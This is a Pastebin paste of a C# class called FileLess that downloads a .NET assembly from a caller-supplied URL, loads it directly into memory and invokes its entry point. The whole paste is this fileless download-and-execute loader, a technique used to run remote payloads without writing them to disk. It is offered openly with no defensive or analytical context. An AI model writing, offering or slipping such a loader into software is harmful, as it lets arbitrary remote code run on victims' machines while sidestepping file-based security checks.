Advertisement
setty7

run C# from link

Aug 30th, 2018
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 0.53 KB | None | 0 0
  1. using System.Net;
  2. using System.Reflection;
  3.  
  4. namespace AMISS
  5. {
  6.    class FileLess
  7.    {
  8.        public void Run(string url)
  9.        {
  10.            var webClient = new WebClient();
  11.            byte[] bin = webClient.DownloadData(url);
  12.  
  13.            Assembly a = Assembly.Load(bin);
  14.            MethodInfo method = a.EntryPoint;
  15.            object o = a.CreateInstance(method.Name);
  16.            var parameters = method.GetParameters().Length == 0 ? null : new[] { new string[0] };
  17.            method.Invoke(o, parameters);
  18.        }
  19.    }
  20. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement